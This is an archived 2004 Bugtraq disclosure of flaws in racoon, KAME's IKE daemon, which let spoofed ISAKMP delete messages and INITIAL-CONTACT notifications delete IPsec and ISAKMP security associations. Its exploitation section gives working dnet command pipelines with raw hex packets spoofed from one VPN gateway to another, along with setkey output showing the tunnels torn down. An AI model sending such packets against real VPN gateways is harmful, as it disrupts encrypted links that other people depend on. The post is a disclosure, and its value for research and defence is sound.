bugtraq - unauthorized deletion of IPsec (and ISAKMP) SAs in racoon

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 13 Jan 2004 22:39:40 +0100
From: Thomas Walpuski <thomas@...nknerd.org>
To: bugtraq@...urityfocus.com
Subject: unauthorized deletion of IPsec (and ISAKMP) SAs in racoon


0 Preface

  Now that most bugs in isakmpd that allowed for unauthorized SA
  deletion are "fixed", it's time to release some information on racoon.

  By the way: About 5 months ago I tried to contact the KAME developers.

1 Description

  racoon, KAME's IKE daemon, contains some flaws, that allow for
  unauthorized deletion of IPsec (and ISAKMP) SAs.

2 Description

  2.1 racoon's "authentication" of delete messages

    When racoon receives a delete message containing the initiator
    cookie of a main/aggressive/base mode, that has not yet setup a
    ISAKMP SA, it fulfills the request, if the message also includes a
    (dummy) hash payload and originates from the right IP address. See
    isakmp_main() in isakmp.c and purge_isakmp_spi(), purge_ipsec_spi(),
    isakmp_info_recv() and isakmp_info_recv_d() in isakmp_inf.c for
    details and amusement.
    
  2.2 INITIAL-CONTACT with racoon
  
    It is nearly the same with INITIAL-CONTACT notifications, but there
    is no need of a (dummy) hash payload and it's way more effective,
    because it deletes all IPsec SAs "relatived to the destination
    address". See isakmp_info_recv_n() and info_recv_initialcontact() in
    isakmp_inf.c for additional information.

3 Affected Systems

  All versions of racoon are affected.

4 Leveraging the Issues ..

  Take a look at http://securityfocus.com/archive/1/348637 for the
  assumed scenario.

  4.1 .. using delete messages

    An IPsec tunnel between vpn-gw-a and vpn-gw-a is established:

      vpn-gw-a# setkey -D 
      <vpn-gw-a's IP address> <vpn-gw-b's IP address>
              esp mode=tunnel spi=4127562105(0xf6059979) reqid=0(0x00000000)
	      [..]
      <vpn-gw-b's IP address> <vpn-gw-a's IP address>
              esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
	      [..]

    The attacker launches step 1 of his attack. He pretends to initiate a
    phase 1 exchange (with spoofed source IP address, of course):

      attacker# dnet hex \
      >   "\x17\x17\x17\x17" \
      >   "\x17\x17\x17\x17" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x01\x10\x02\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x48" \
      >     "\x00\x00\x00\x2c" \
      >     "\x00\x00\x00\x01" \
      >     "\x00\x00\x00\x01" \
      >       "\x00\x00\x00\x20" \
      >       "\x01\x01\x00\x01" \
      >         "\x00\x00\x00\x18" \
      >         "\x00\x01\x00\x00" \
      >         "\x80\x01\x00\x05" \
      >         "\x80\x02\x00\x02" \
      >         "\x80\x03\x00\x01" \
      >         "\x80\x04\x00\x02" |
      pipe> dnet udp sport 500 dport 500 |
      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
      pipe pipe pipe> dnet send

    If racoon finds the included proposal acceptable it creates a state.
    Now the attacker carries out step 2:

      attacker# dnet hex \
      >   "\x17\x17\x17\x17" \
      >   "\x17\x17\x17\x17" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x08\x10\x05\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x30" \
      >     "\x0c\x00\x00\x04" \
      >     "\x00\x00\x00\x10" \
      >     "\x00\x00\x00\x01" \
      >     "\x03\x04\x00\x01" \
      >     "\xf6\x05\x99\x79" |
      pipe> dnet udp sport 500 dport 500 |
      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
      pipe pipe pipe> dnet send

    It seems that racoon knows the attacker ;-):

      vpn-gw-a# setkey -D
      <vpn-gw-b's IP address> <vpn-gw-a's IP address>
              esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
	      [..]

    Note: You can also delete ISAKMP SAs.
    
  4.2 .. using INITIAL-CONTACT

    The IPsec tunnel is up an running:

      vpn-gw-a# setkey -D
      <vpn-gw-a's IP address> <vpn-gw-b's IP address>
              esp mode=tunnel spi=785352974(0x2ecf890e) reqid=0(0x00000000)
              [..] 
      <vpn-gw-b's IP address> <vpn-gw-a's IP address>
              esp mode=tunnel spi=183367627(0x0aedf7cb) reqid=0(0x00000000)
              [..]

    Again the attacker does step 1 and injects an ISAKMP message like
    this:

      attacker# dnet hex \
      >   "\x17\x17\x17\x17" \
      >   "\x17\x17\x17\x17" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x0b\x10\x05\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x28" \
      >     "\x00\x00\x00\x0c" \
      >     "\x00\x00\x00\x01" \
      >     "\x01\x00\x60\x02" |
      pipe> dnet udp sport 500 dport 500 |
      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
      pipe pipe pipe> dnet send

    racoon blindly obeys the attacker's command: 

      vpn-gw-a# setkey -D
      No SAD entries.

5. Bug fixes

  There are no bug fixes.

Thomas Walpuski